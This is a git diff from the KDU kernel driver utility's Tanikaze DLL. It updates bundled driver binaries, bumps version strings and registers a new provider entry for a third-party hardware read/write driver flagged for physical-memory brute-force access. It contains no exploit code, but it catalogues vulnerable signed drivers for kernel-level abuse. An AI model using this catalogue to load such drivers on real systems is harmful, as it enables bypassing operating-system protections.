a/Source/Tanikaze/drv/procexp1627.bin b/Source/Tanikaze/drv/procexp1627.bin index cf673c1..b892283 100644 Binary files a/Source/Tanikaze/drv/procexp1627.bin and b/Source/Tanikaze/drv/procexp1627.bin differ diff --git a/Source/Tanikaze/drv/procexp1702.bin b/Source/Tanikaze/drv/procexp1702.bin index 9e621c5..aad1212 100644 Binary files a/Source/Tanikaze/drv/procexp1702.bin and b/Source/Tanikaze/drv/procexp1702.bin differ diff --git a/Source/Tanikaze/drv/rtkio64.bin b/Source/Tanikaze/drv/rtkio64.bin index 5aeebdd..3e71b27 100644 Binary files a/Source/Tanikaze/drv/rtkio64.bin and b/Source/Tanikaze/drv/rtkio64.bin differ diff --git a/Source/Tanikaze/drv/rzpnk.bin b/Source/Tanikaze/drv/rzpnk.bin index a63bfb8..39aeac8 100644 Binary files a/Source/Tanikaze/drv/rzpnk.bin and b/Source/Tanikaze/drv/rzpnk.bin differ diff --git a/Source/Tanikaze/drv/wnBios64.bin b/Source/Tanikaze/drv/wnBios64.bin index b9ee0e0..5bc3f1b 100644 Binary files a/Source/Tanikaze/drv/wnBios64.bin and b/Source/Tanikaze/drv/wnBios64.bin differ diff --git a/Source/Tanikaze/resource.h b/Source/Tanikaze/resource.h index 0d2bcef..0d79700 100644 --- a/Source/Tanikaze/resource.h +++ b/Source/Tanikaze/resource.h @@ -54,6 +54,7 @@ #define IDR_ASROCKDRV3 152 #define IDR_ASROCKDRV4 153 #define IDR_PMXDRV64 154 +#define IDR_HWRWDRVX64 155 #define IDR_DATA_DBUTILCAT 1000 #define IDR_DATA_DBUTILINF 1001 #define IDR_DATA_KMUEXE 1002 @@ -66,7 +67,7 @@ // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS -#define _APS_NEXT_RESOURCE_VALUE 155 +#define _APS_NEXT_RESOURCE_VALUE 156 #define _APS_NEXT_COMMAND_VALUE 40001 #define _APS_NEXT_CONTROL_VALUE 1007 #define _APS_NEXT_SYMED_VALUE 101 diff --git a/Source/Tanikaze/resource.rc b/Source/Tanikaze/resource.rc index 13878f4..807137b 100644 --- a/Source/Tanikaze/resource.rc +++ b/Source/Tanikaze/resource.rc @@ -168,6 +168,8 @@ IDR_ASROCKDRV4 RCDATA "drv\\AsrDrv107.bin" IDR_PMXDRV64 RCDATA "drv\\pmxdrv64.bin" +IDR_HWRWDRVX64 RCDATA "drv\\HwRwDrv.x64.bin" + ///////////////////////////////////////////////////////////////////////////// // @@ -175,8 +177,8 @@ IDR_PMXDRV64 RCDATA "drv\\pmxdrv64.bin" // VS_VERSION_INFO VERSIONINFO - FILEVERSION 1,2,1,2404 - PRODUCTVERSION 1,2,1,2404 + FILEVERSION 1,2,2,2411 + PRODUCTVERSION 1,2,2,2411 FILEFLAGSMASK 0x3fL #ifdef _DEBUG FILEFLAGS 0x1L @@ -193,12 +195,12 @@ BEGIN BEGIN VALUE "CompanyName", "UG North" VALUE "FileDescription", "Kernel Driver Utility Database" - VALUE "FileVersion", "1.2.1.2404" + VALUE "FileVersion", "1.2.2.2411" VALUE "InternalName", "Tanikaze.dll" VALUE "LegalCopyright", "Copyright (C) 2020 - 2024 KDU Project" VALUE "OriginalFilename", "Tanikaze.dll" VALUE "ProductName", "KDU" - VALUE "ProductVersion", "1.2.1.2404" + VALUE "ProductVersion", "1.2.2.2411" END END BLOCK "VarFileInfo" diff --git a/Source/Tanikaze/tanikaze.h b/Source/Tanikaze/tanikaze.h index 2b5785e..f1407ae 100644 --- a/Source/Tanikaze/tanikaze.h +++ b/Source/Tanikaze/tanikaze.h @@ -4,9 +4,9 @@ * * TITLE: CONSTS.H * -* VERSION: 1.21 +* VERSION: 1.22 * -* DATE: 01 Apr 2024 +* DATE: 10 Nov 2024 * * Tanikaze helper dll (part of KDU project). * @@ -818,6 +818,21 @@ KDU_DB_ENTRY gProvEntry[] = { (LPWSTR)L"PMxDrv", (LPWSTR)L"Pmxdrv", (LPWSTR)L"Intel(R) Embedded Subsystems and IP Blocks Group" + }, + + { + KDU_MIN_NTBUILDNUMBER, + KDU_MAX_NTBUILDNUMBER, + IDR_HWRWDRVX64, + KDU_PROVIDER_HWRWDRVX64, + KDU_VICTIM_DEFAULT, + SourceBaseWinRing0, + KDUPROV_FLAGS_PHYSICAL_BRUTE_FORCE, + KDUPROV_SC_ALL_DEFAULT, + (LPWSTR)L"Hardware read & write driver", + (LPWSTR)L"HwRwDrv.x64", + (LPWSTR)L"HwRwDrv", + (LPWSTR)L"Open Source Developer, Jun Liu" } }; @@ -840,4 +855,4 @@ extern "C" { #ifdef __cplusplus } -#endif \ No newline at end of file +#endif